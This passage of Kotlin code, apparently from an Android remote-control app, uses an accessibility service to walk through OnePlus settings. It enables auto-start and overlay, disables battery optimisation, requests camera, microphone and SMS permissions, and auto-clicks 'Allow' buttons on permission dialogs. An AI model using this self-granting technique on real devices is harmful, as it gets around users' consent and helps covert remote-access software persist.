                        val verticalDistance = kotlin.math.abs(switchRect.centerY() - textRect.centerY())
                        val maxVerticalDistance = kotlin.math.max(textRect.height(), switchRect.height()) / 2
                        val isRightSide = switchRect.centerX() > textRect.centerX()
                        
                        if (isRightSide && verticalDistance <= maxVerticalDistance) {
                            val horizontalDistance = switchRect.centerX() - textRect.centerX()
                            if (horizontalDistance < minDistance) {
                                minDistance = horizontalDistance
                                bestSwitch = switchNode
                            }
                        }
                    }
                }
            }
            
            if (bestSwitch != null) {
                Log.d(TAG, "✅ 在祖父节点找到右侧开关控件，距离: $minDistance")
                return bestSwitch
            }
            
            Log.w(TAG, "⚠️ 未找到右侧开关控件")
            null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找右侧开关控件失败", e)
            null
        }
    }
    
    /**
     * ✅ 在节点中查找开关控件
     */
    private fun findSwitchInNode(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        // 检查当前节点是否是开关
        if (node.className?.toString() == SWITCH_CLASS_NAME && node.isEnabled) {
            return node
        }
        
        // 递归查找子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i) ?: continue
            val switchNode = findSwitchInNode(child)
            if (switchNode != null) {
                return switchNode
            }
        }
        
        return null
    }
    
    /**
     * ✅ 为应用查找开关节点 - Android 11版本专用
     */
    private fun findSwitchNodeForApp(appNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        return try {
            Log.d(TAG, "🔍 为应用查找开关节点")
            
            // 策略1：在应用节点的父节点中查找开关
            val parentNode = appNode.parent
            if (parentNode != null) {
                val switchNode = findSwitchInNode(parentNode)
                if (switchNode != null) {
                    Log.d(TAG, "✅ 在父节点找到开关")
                    return switchNode
                }
            }
            
            // 策略2：在应用节点的祖父节点中查找开关
            val grandParentNode = parentNode?.parent
            if (grandParentNode != null) {
                val switchNode = findSwitchInNode(grandParentNode)
                if (switchNode != null) {
                    Log.d(TAG, "✅ 在祖父节点找到开关")
                    return switchNode
                }
            }
            
            // 策略3：使用反编译代码策略查找开关
            val switchByDecompiled = findSwitchByDecompiledCode(appNode)
            if (switchByDecompiled != null) {
                Log.d(TAG, "✅ 使用反编译代码策略找到开关")
                return switchByDecompiled
            }
            
            Log.w(TAG, "⚠️ 未找到应用对应的开关节点")
            null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 为应用查找开关节点失败", e)
            null
        }
    }
    
    /**
     * ✅ 在开关坐标上执行点击 (参照OppoAuthorizationHandler)
     */
    private suspend fun performClickOnSwitchCoordinate(switchNode: AccessibilityNodeInfo): Boolean {
        Log.d(TAG, "🔧 在开关坐标上执行点击")
        
        return try {
            // 策略1: 直接点击开关节点
            if (switchNode.isClickable) {
                val directClickSuccess = switchNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                if (directClickSuccess) {
                    Log.d(TAG, "✅ 直接点击开关成功")
                    return true
                }
            }
            
            // 策略2: 点击开关的父节点
            var parent = switchNode.parent
            while (parent != null) {
                if (parent.isClickable) {
                    val parentClickSuccess = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (parentClickSuccess) {
                        Log.d(TAG, "✅ 点击开关父节点成功")
                        return true
                    }
                }
                parent = parent.parent
            }
            
            // 策略3: 精确坐标点击
            val rect = android.graphics.Rect()
            switchNode.getBoundsInScreen(rect)
            val centerX = rect.centerX()
            val centerY = rect.centerY()
            
            Log.d(TAG, "🔧 尝试精确坐标点击: ($centerX, $centerY)")
//            val coordinateSuccess = executePreciseGestureClick(centerX, centerY, 2)
            val coordinateSuccess = simpleCoordinateClick(centerX,centerY)
            if (coordinateSuccess) {
                Log.d(TAG, "✅ 精确坐标点击成功")
                return true
            }
            
            Log.w(TAG, "❌ 所有开关点击策略都失败")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 开关坐标点击失败", e)
            false
        }
    }
    
    // ======================== 辅助工作方法 ========================
    
    /**
     * ✅ 导航指定页面 (带滚动搜索）
     */
    private suspend fun navigateToTargetPage(targetText: String): Boolean {
        // ✅ 首先尝试直接搜索
        var textNode = findTextByDecompiledCode(targetText)
        if (textNode != null) {
            return executeClickByDecompiledCode(textNode)
        }
        
        // ✅ 如果没找到，尝试滚动搜索
        if (targetText == "电池" || targetText == "应用"|| targetText == "更多设置") {
            Log.d(TAG, "🔄 [反编译代码策略] 开始在设置页面滚动搜索: $targetText")
            
            // 向下滚动3次搜索目标选项
            for (i in 1..3) {
                if (performScrollDown()) {
                    performSegmentedDelay(800)
                    textNode = findTextByDecompiledCode(targetText)
                    if (textNode != null) {
                        Log.d(TAG, "✅ [反编译代码策略] 滚动搜索成功找到: $targetText")
                        return executeClickByDecompiledCode(textNode)
                    }
                }
            }
        }
        
        Log.w(TAG, "⚠️ [反编译代码策略] 未找到导航目标: $targetText")
        return false
    }
    
    /**
     * ✅ 执行向下滚动
     */
    private fun performScrollDown(): Boolean {
        return try {
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false
            
            val scrollableNodes = listOf(
                "android.widget.ListView",
                "androidx.recyclerview.widget.RecyclerView", 
                "android.widget.ScrollView"
            )
            
            // ✅ 查找可滚动节点并执行滚动
            for (className in scrollableNodes) {
                val nodes = findScrollableNodes(rootInActiveWindow, className)
                for (node in nodes) {
                    if (node.isScrollable) {
                        val success = node.performAction(AccessibilityNodeInfo.ACTION_SCROLL_FORWARD)
                        if (success) {
                            Log.d(TAG, "✅ [反编译代码策略] 滚动成功: $className")
                            node.recycle()
                            return true
                        }
                    }
                    node.recycle()
                }
            }
            
            Log.w(TAG, "⚠️ [反编译代码策略] 未找到可滚动节点")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [反编译代码策略] 滚动失败", e)
            false
        }
    }
    
    /**
     * ✅ 查找指定类名的可滚动节点
     */
    private fun findScrollableNodes(root: AccessibilityNodeInfo, targetClassName: String): List<AccessibilityNodeInfo> {
        val result = mutableListOf<AccessibilityNodeInfo>()
        
        fun searchNode(node: AccessibilityNodeInfo?) {
            if (node == null) return
            
            if (node.className == targetClassName && node.isScrollable) {
                result.add(node)
            }
            
            for (i in 0 until node.childCount) {
                searchNode(node.getChild(i))
            }
        }
        
        searchNode(root)
        return result
    }
    
    /**
     * ✅ 导航到权限页面
     */
    private suspend fun navigateToPermissionPage(): Boolean {
        return navigateToTargetPage("权限")
    }
    
    /**
     * ✅ 处理权限开关 - 简化版，直接点击开启
     */
    private suspend fun handlePermissionSwitchDirect(textLabel: String, switchName: String): Boolean {
        return try {
            Log.d(TAG, "🔧 处理权限开关: $switchName")

            // ✅ 调试信息：检查当前页面状态
            val rootInActiveWindow = getStableRootInActiveWindow(service)
            Log.d(TAG, "🔍 [调试] 当前页面包名: ${rootInActiveWindow?.packageName}")
            Log.d(TAG, "🔍 [调试] 当前页面类名: ${rootInActiveWindow?.className}")

            // ✅ 查找文本节点 (反编译代码策略)
            Log.d(TAG, "🔍 [调试] 开始搜索文本: $textLabel")
            val textNode = findTextByDecompiledCode(textLabel)
            if (textNode == null) {
                Log.w(TAG, "❌ [调试] 未找到文本节点: $textLabel")
                return false
            }
            Log.d(TAG, "✅ [调试] 找到文本节点: $textLabel")

            // ✅ 查找开关节点 (反编译代码策略)
            Log.d(TAG, "🔍 [调试] 开始搜索开关节点")
            val switchNode = findSwitchByDecompiledCode(textNode)
            if (switchNode == null) {
                Log.w(TAG, "❌ [调试] 未找到开关节点")
                return false
            }
            Log.d(TAG, "✅ [调试] 找到开关节点: ${switchNode.className}")

            // ✅ 检查开关当前状态
            val currentState = switchNode.isChecked
            Log.d(TAG, "🔍 [调试] $switchName 当前状态: ${if (currentState) "开启" else "关闭"}")

            // ✅ 直接点击开关
            Log.d(TAG, "🔧 直接点击开关开启 $switchName")
            val clickSuccess = executeClickByDecompiledCode(switchNode)

            if (clickSuccess) {
                Log.d(TAG, "✅ $switchName 点击成功")

                // ✅ 等待页面稳定后检测弹框
                performSegmentedDelay(400) // 先等待页面稳定

                // ✅ 检测并处理弹框
                Log.d(TAG, "🔍 [调试] 开始检测弹框...")
                if (handlePermissionDialog()) {
                    Log.d(TAG, "✅ [反编译代码策略] 成功处理权限弹框")
                    performSegmentedDelay(1000) // 弹框关闭后等待更长时间
                } else {
                    Log.d(TAG, "⚠️ [调试] 未检测到弹框")
                }

                // ✅ 重新检查开关状态
                performSegmentedDelay(500)
                Log.d(TAG, "🔍 [调试] 重新检查 $switchName 状态...")
                val newTextNode = findTextByDecompiledCode(textLabel)
                val newSwitchNode = newTextNode?.let { findSwitchByDecompiledCode(it) }
                val newState = newSwitchNode?.isChecked ?: false
                Log.d(TAG, "🔍 [调试] $switchName 点击后状态: ${if (newState) "开启" else "关闭"}")

                Log.d(TAG, "✅ $switchName 操作完成")
                return true
            } else {
                Log.w(TAG, "❌ $switchName 点击失败")
                return false
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理权限开关失败: $switchName", e)
            false
        }
    }
    
    
    /**
     * ✅ 处理特殊权限开关 - 判断状态，只有开启时才关闭
     */
    private suspend fun handleSpecialPermissionSwitch(textLabel: String, switchName: String): Boolean {
        return try {
            Log.d(TAG, "🔧 处理特殊权限: $switchName")
            
            // ✅ 查找文本节点
            val textNode = findTextByDecompiledCode(textLabel) ?: return false
            
            // ✅ 查找开关节点
            val switchNode = findSwitchByDecompiledCode(textNode) ?: return false
            
            // ✅ 检查当前状态
            val isCurrentlyOn = switchNode.isChecked
            Log.d(TAG, "🔍 $switchName 当前状态: ${if (isCurrentlyOn) "开启" else "关闭"}")
            
            if (!isCurrentlyOn) {
                Log.d(TAG, "✅ $switchName 已关闭，无需操作")
                return true
            }
            
            Log.d(TAG, "🔧 需要关闭 $switchName")
            
            // ✅ 点击关闭
            val clickSuccess = executeClickByDecompiledCode(switchNode)
            performSegmentedDelay(500)
            
            // ✅ 重新验证状态 (期望关闭 = 状态为0)
            val isNowClosed = checkSwitchStateByDecompiledCode(textLabel, 0)
            val success = isNowClosed
            
            Log.d(TAG, "🔍 $switchName 操作结果: ${if (success) "成功关闭" else "关闭失败"}")
            
            success
        
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理特殊权限失败: $switchName", e)
            false
        }
    }
    
    /**
     * ✅ 处理权限弹框 (基于反编译代码策略） - 增强版
     * 检测并点击"允许"按钮，多次重试
     */
    private suspend fun handlePermissionDialog(): Boolean {
        return try {
            Log.d(TAG, "🔍 [反编译代码策略] 检测权限弹框...")
            
            // ✅ 多次尝试检测弹框
            for (retry in 1..3) {
                Log.d(TAG, "🔍 [反编译代码策略] 第$retry 次检测弹框...")
                performSegmentedDelay(500) // 等待弹框出现
                
                val rootInActiveWindow = getStableRootInActiveWindow(service) ?: continue
                
                // ✅ 反编译代码策略：搜索多种可能的文本
                val targetTexts = listOf("允许", "确定", "确认")
                
                for (targetText in targetTexts) {
                    val buttons = try {
                        rootInActiveWindow.findAccessibilityNodeInfosByText(targetText)
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ [反编译代码策略] 搜索$targetText 按钮异常", e)
                        continue
                    }
                    
                    // ✅ 找到按钮并进行点击
                    for (button in buttons) {
                        if (button.isClickable && button.text?.toString()?.contains(targetText) == true) {
                            Log.d(TAG, "🔍 [反编译代码策略] 找到可点击的$targetText 按钮")
                            val clickSuccess = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (clickSuccess) {
                                Log.d(TAG, "✅ [反编译代码策略] 成功点击$targetText 按钮")
                                button.recycle()
                                performSegmentedDelay(500) // 等待弹框关闭
                                return true
                            }
                        }
                        button.recycle()
                    }
                }
            }
            
            Log.d(TAG, "⚠️ [反编译代码策略] 未找到权限弹框或允许按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [反编译代码策略] 处理权限弹框失败", e)
            false
        }
    }
    
    // ======================== Android 12 版本专用执行函数 ========================
    
    /**
     * ✅ OnePlus权限管理页面配置 - Android 12版本
     */
    private suspend fun executeOnePlusPermissionPageAndroid12(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始OnePlus权限管理页面配置 (Android 12版本)")
        
        return try {
            // ✅ 检测OnePlus系统版本
            val onePlusOsVersion = getOnePlusSystemProperty(ONEPLUS_OS_VERSION_PROP)
            val onePlusBuildId = getOnePlusSystemProperty(ONEPLUS_BUILD_ID_PROP)
            Log.d(TAG, "🔍 OnePlus系统版本: $onePlusOsVersion, 构建ID: $onePlusBuildId")
            
            // ✅ 尝试直接打开应用信息页面
            if (openAppInfoDirectly()) {
                Log.d(TAG, "✅ 直接打开应用信息页面成功 (Android 12版本)")
                performSegmentedDelay(1000)
            } else {
                Log.w(TAG, "⚠️ 直接打开应用信息页面失败，使用传统流程 (Android 12版本)")
                
                // ✅ Step 1: 打开设置页面
                if (!openSettingsAndroid12()) {
                    Log.e(TAG, "❌ 无法打开设置页面")
                    return false
                }
                
                // ✅ Step 2: 进入应用设置
                if (!navigateToAppsAndroid12()) {
                    Log.e(TAG, "❌ 无法进入应用设置")
                    return false
                }
            }
            
            // ✅ Step 3: 进入自启动权限
            if (!navigateToAutoStartAndroid12()) {
                Log.e(TAG, "❌ 无法进入自启动权限")
                return false
            }
            
            // ✅ Step 4: 配置自启动权限
            if (!configureAutoStartPermissionAndroid12()) {
                Log.e(TAG, "❌ 自启动权限配置失败")
                return false
            }
            
            // ✅ Step 5: 配置悬浮窗权限
            if (!configureOverlayPermissionAndroid12()) {
                Log.e(TAG, "❌ 悬浮窗权限配置失败")
                return false
            }
            
            Log.i(TAG, "✅ OnePlus权限管理页面配置成功 (Android 12版本)")
            completedRoutes.add("OnePlus权限管理页面")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ OnePlus权限管理页面配置失败 (Android 12版本)", e)
            failedRoutes.add("OnePlus权限管理页面")
            false
        }
    }
    
    /**
     * ✅ 应用详情权限页面配置 - Android 12版本
     */
    private suspend fun executeAppDetailsPermissionsAndroid12(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始应用详情权限页面配置 (Android 12版本)")
        
        return try {
            // ✅ 返回到我们的APP，使用弹框方式获取权限
            Log.d(TAG, "🔄 返回到我们的APP")
            val backToAppIntent = context.packageManager.getLaunchIntentForPackage(context.packageName)
            backToAppIntent?.let {
                it.flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
                context.startActivity(it)
                Log.d(TAG, "✅ 成功返回到我们的APP")
            }
            
            performSegmentedDelay(1500) // Android 12 需要更长的等待时间
            
            // ✅ 直接使用 PermissionGranter 触发运行时权限弹窗
            Log.d(TAG, "🔧 使用PermissionGranter触发运行时权限弹窗：摄像头/相册/麦克风/短信")
            requestRuntimePermissionsViaGranterAndroid12()
            
            Log.i(TAG, "✅ 应用详情权限配置成功 (Android 12版本)")
            completedRoutes.add("应用详情权限页面")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 应用详情权限页面配置失败 (Android 12版本)", e)
            failedRoutes.add("应用详情权限页面")
            false
        }
    }
    
    /**
     * ✅ 电池优化特殊权限配置 - Android 12版本
     */
    private suspend fun executeBatteryOptimizationPermissionsAndroid12(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始电池优化特殊权限配置 (Android 12版本)")
        
        return try {
            // ✅ 打开设置页面
            val intent = Intent(android.provider.Settings.ACTION_SETTINGS).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            context.startActivity(intent)
            performSegmentedDelay(2000) // Android 12 需要更长的等待时间
            
            // ✅ 新导航路径：设置 -> 电池 -> 高级设置 -> 耗电异常优化
            var navigationPath =  listOf("电池", "高级设置", "耗电异常优化")

            for (step in navigationPath) {
                if (!navigateToTargetPageAndroid12(step)) {
                    Log.w(TAG, "⚠️ 导航到 $step 失败")
                    return false
                }
                performSegmentedDelay(1000) // Android 12 需要更长的间隔
            }
            
            // ✅ 找到我们的APP并点击
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            Log.d(TAG, "🔍 在耗电异常优化中查找应用: $appName")
            var appNode = findTextByDecompiledCode(appName)
            if (appNode == null) {
                Log.d(TAG, "🔄 滚动搜索应用")
                for (i in 1..5) {
                    if (performScrollDown()) {
                        performSegmentedDelay(600) // Android 12 需要更长的滚动间隔
                        appNode = findTextByDecompiledCode(appName)
                        if (appNode != null) break
                    }
                }
            }
            if (appNode == null) {
                Log.e(TAG, "❌ 在耗电异常优化列表中未找到应用")
                return false
            }
            
            Log.d(TAG, "✅ 找到应用，点击进入优化选项")
            if (!executeClickByDecompiledCode(appNode!!)) {
                Log.e(TAG, "❌ 点击应用进入优化选项失败")
                return false
            }
            
            // ✅ 处理弹框，选择"不优化"
            performSegmentedDelay(600) // Android 12 需要更长的等待时间
            val handled = handleBatteryOptimizationDialogAndroid12()
            if (!handled) {
                Log.w(TAG, "⚠️ 选择'不优化'失败")
                failedRoutes.add("电池优化特殊权限")
                return false
            }
            
            Log.i(TAG, "✅ 电池优化特殊权限配置成功（选择不优化）(Android 12版本)")
            completedRoutes.add("电池优化特殊权限")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 电池优化特殊权限配置失败 (Android 12版本)", e)
            failedRoutes.add("电池优化特殊权限")
            false
        }
    }
    
    /**
     * ✅ 后台应用限制权限配置 - Android 12版本
     */
    private suspend fun executeBackgroundAppLimitsAndroid12(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始后台应用限制权限配置（睡眠待机优化）(Android 12版本)")

        return try {
            // ✅ 打开设置页面
            val intent = Intent(android.provider.Settings.ACTION_SETTINGS).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            context.startActivity(intent)
            performSegmentedDelay(2000) // Android 12 需要更长的等待时间

            // ✅ 导航路径：设置 -> 电池 -> 高级设置
            val navigationPath = listOf("电池", "高级设置")
            for (step in navigationPath) {
                if (!navigateToTargetPageAndroid12(step)) {
                    Log.w(TAG, "⚠️ 导航到 $step 失败")
                    return false
                }
                performSegmentedDelay(1000) // Android 12 需要更长的间隔
            }

            // ✅ 睡眠待机优化（开关）
            val labelTexts = listOf("睡眠待机优化", "睡眠待机模式", "睡眠待机节电")
            var textNode: AccessibilityNodeInfo? = null
            for (lbl in labelTexts) {
                textNode = findTextByDecompiledCode(lbl)
                if (textNode != null) break
            }
            if (textNode == null) {
                Log.w(TAG, "⚠️ 未找到'睡眠待机优化'文本，尝试滚动搜索")
                for (i in 1..4) {
                    if (performScrollDown()) {
                        performSegmentedDelay(600) // Android 12 需要更长的滚动间隔
                        for (lbl in labelTexts) {
                            textNode = findTextByDecompiledCode(lbl)
                            if (textNode != null) break
                        }
                        if (textNode != null) break
                    }
                }
            }
            if (textNode == null) {
                Log.e(TAG, "❌ 未找到'睡眠待机优化'入口")
                failedRoutes.add("后台应用限制权限")
                return false
            }

            // ✅ 查找右侧开关；若为开启则关闭；若已关闭则无需操作
            val switchNode = findSwitchByDecompiledCode(textNode!!)
            if (switchNode == null) {
                Log.w(TAG, "⚠️ 未找到'睡眠待机优化'开关，尝试点击文本切换")
                val toggled = executeClickByDecompiledCode(textNode!!)
                performSegmentedDelay(800) // Android 12 需要更长的等待时间
                completedRoutes.add("后台应用限制权限")
                return toggled
            }

            val isOn = switchNode.isChecked
            Log.d(TAG, "🔍 睡眠待机优化当前状态: ${if (isOn) "开启" else "关闭"}")
            if (isOn) {
                Log.d(TAG, "🔧 关闭'睡眠待机优化'")
                // 优先点开关，其次点文本
                val closed = executeClickByDecompiledCode(switchNode) || executeClickByDecompiledCode(textNode!!)
                performSegmentedDelay(800) // Android 12 需要更长的等待时间
                if (!closed) {
                    Log.e(TAG, "❌ 关闭失败")
                    failedRoutes.add("后台应用限制权限")
                    return false
                }
            } else {
                Log.d(TAG, "✅ 已关闭，无需操作")
            }

            completedRoutes.add("后台应用限制权限")
            true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台应用限制权限配置失败 (Android 12版本)", e)
            failedRoutes.add("后台应用限制权限")
            false
        }
    }
    
    // ======================== Android 12 版本专用辅助方法 ========================
    
    /**
     * ✅ 打开设置页面 - Android 12版本
     */
    private suspend fun openSettingsAndroid12(): Boolean {
        Log.d(TAG, "🔧 打开设置页面 (Android 12版本)")
        
        return try {
            // 检查当前页面
            val currentPackage = service.rootInActiveWindow?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 当前页面: $currentPackage")
            
            // 强制使用清除任务栈的方式打开设置首页，确保从设置首页开始
            Log.d(TAG, "🔄 强制打开设置首页，清除之前的设置页面状态")
            val intent = Intent(android.provider.Settings.ACTION_SETTINGS)
            intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK
            context.startActivity(intent)
            
            performSegmentedDelay(3000) // Android 12 需要更长的等待时间
            
            // 验证是否成功进入设置页面
            val settingsPackage = service.rootInActiveWindow?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 设置页面包名: $settingsPackage")
            
            if (settingsPackage.contains("settings") || settingsPackage.contains("com.android.settings")) {
                Log.d(TAG, "✅ 成功进入设置页面")
                true
            } else {
                Log.w(TAG, "⚠️ 可能未成功进入设置页面，继续尝试")
                true // 即使包名不匹配也继续，因为可能UI还没完全加载
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开设置页面失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 导航到应用设置 - Android 12版本
     */
    private suspend fun navigateToAppsAndroid12(): Boolean {
        Log.d(TAG, "🔧 导航到应用设置 (Android 12版本)")
        
        return try {
            // 使用反编译代码策略查找应用相关文本
            val appTexts = listOf(
                "应用", "应用管理", "应用与权限", "应用和通知",
                "Apps", "Application Manager", "Apps and Notifications", "App Settings"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找应用设置")
                
                for (appText in appTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $appText")
                    val textNode = findTextByDecompiledCode(appText)
                    if (textNode != null) {
                        Log.d(TAG, "✅ 找到应用设置入口: $appText")
                        val success = executeClickByDecompiledCode(textNode)
                        if (success) {
                            performSegmentedDelay(2000) // Android 12 需要更长的等待时间
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到应用设置，向下滑动继续查找")
                    if (performScrollDown()) {
                        performSegmentedDelay(1000) // Android 12 需要更长的滚动间隔
                    }
                }
            }
            
            Log.e(TAG, "❌ 无法找到应用设置入口")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到应用设置失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 导航到自启动权限 - Android 12版本
     */
    private suspend fun navigateToAutoStartAndroid12(): Boolean {
        Log.d(TAG, "🔧 导航到自启动权限 (Android 12版本)")
        
        return try {
            // 使用反编译代码策略查找自启动相关文本
            val autoStartTexts = listOf(
                "自启动", "自启动管理", "应用自启动", "启动管理",
                "Auto Start", "Auto-start", "Auto Start Management", "Start Management",
                "自启动权限", "Auto Start Permission", "后台自启动", "Background Auto Start"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找自启动权限")
                
                for (autoStartText in autoStartTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $autoStartText")
                    val textNode = findTextByDecompiledCode(autoStartText)
                    if (textNode != null) {
                        Log.d(TAG, "✅ 找到自启动入口: $autoStartText")
                        val success = executeClickByDecompiledCode(textNode)
                        if (success) {
                            performSegmentedDelay(2000) // Android 12 需要更长的等待时间
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到自启动权限，向下滑动继续查找")
                    if (performScrollDown()) {
                        performSegmentedDelay(1000) // Android 12 需要更长的滚动间隔
                    }
                }
            }
            
            Log.e(TAG, "❌ 无法找到自启动入口")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到自启动权限失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 配置自启动权限 - Android 12版本
     */
    private suspend fun configureAutoStartPermissionAndroid12(): Boolean {
        Log.d(TAG, "🔧 配置自启动权限 (Android 12版本)")
        
        return try {
            // ✅ 获取应用名称而不是包名
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            Log.d(TAG, "🔍 查找应用: $appName")
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找应用: $appName")
                
                val appNode = findTextByDecompiledCode(appName)
                if (appNode != null) {
                    Log.d(TAG, "✅ 找到应用: $appName")
                    return configureAppAutoStartAndroid12(appNode)
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到应用，向下滑动继续查找")
                    if (performScrollDown()) {
                        performSegmentedDelay(1000) // Android 12 需要更长的滚动间隔
                    }
                }
            }
            
            Log.e(TAG, "❌ 无法找到应用")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置自启动权限失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 配置应用自启动 - Android 12版本
     */
    private suspend fun configureAppAutoStartAndroid12(appNode: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 配置应用自启动 (Android 12版本)")
            
            // ✅ 正确的流程：直接点击应用即可切换自启动状态
            Log.d(TAG, "🔄 直接点击应用节点切换自启动状态")
            val clickSuccess = executeClickByDecompiledCode(appNode)
            if (clickSuccess) {
                performSegmentedDelay(800) // Android 12 需要更长的等待时间
                Log.d(TAG, "✅ 自启动权限配置成功")
                return true
            } else {
                Log.e(TAG, "❌ 点击应用节点失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置应用自启动失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 配置悬浮窗权限 - Android 12版本
     */
    private suspend fun configureOverlayPermissionAndroid12(): Boolean {
        Log.d(TAG, "🔧 配置悬浮窗权限 (Android 12版本)")
        
        return try {
            // ✅ Step 1: 重新打开设置页面
            if (!openSettingsAndroid12()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // ✅ Step 2: 进入应用设置
            if (!navigateToAppsAndroid12()) {
                Log.e(TAG, "❌ 无法进入应用设置")
                return false
            }
            
            // ✅ Step 3: 进入悬浮窗权限
            if (!navigateToOverlayPermissionAndroid12()) {
                Log.e(TAG, "❌ 无法进入悬浮窗权限")
                return false
            }
            
            // ✅ Step 4: 获取应用名称并查找应用
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            Log.d(TAG, "🔍 查找应用: $appName")
            
            // 查找我们的应用
            val appNode = findTextByDecompiledCode(appName)
            if (appNode == null) {
                Log.w(TAG, "⚠️ 未找到应用，尝试滚动搜索")
                // 尝试滚动搜索应用
                for (i in 1..5) {
                    if (performScrollDown()) {
                        performSegmentedDelay(600) // Android 12 需要更长的滚动间隔
                        val foundAppNode = findTextByDecompiledCode(appName)
                        if (foundAppNode != null) {
                            Log.d(TAG, "✅ 滚动搜索找到应用")
                            return configureAppOverlayPermissionAndroid12(foundAppNode)
                        }
                    }
                }
                Log.e(TAG, "❌ 无法找到应用")
                return false
            }
            true
            // ✅ Step 5: 配置悬浮窗权限
            // configureAppOverlayPermissionAndroid12(appNode)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置悬浮窗权限失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 导航到悬浮窗权限 - Android 12版本
     */
    private suspend fun navigateToOverlayPermissionAndroid12(): Boolean {
        Log.d(TAG, "🔧 导航到悬浮窗权限 (Android 12版本)")
        
        return try {
            // 使用反编译代码策略查找悬浮窗相关文本
            val overlayTexts = listOf(
                "悬浮窗", "在其他应用上层显示", "悬浮窗权限", "显示在其他应用上层",
                "Overlay", "Display over other apps", "Overlay Permission", "Display over apps",
                "悬浮窗管理", "Overlay Management", "显示权限", "Display Permission"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找悬浮窗权限")
                
                for (overlayText in overlayTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $overlayText")
                    val textNode = findTextByDecompiledCode(overlayText)
                    if (textNode != null) {
                        Log.d(TAG, "✅ 找到悬浮窗权限入口: $overlayText")
                        val success = executeClickByDecompiledCode(textNode)
                        if (success) {
                            performSegmentedDelay(2000) // Android 12 需要更长的等待时间
                            return true
                        }
                    }
                }
                
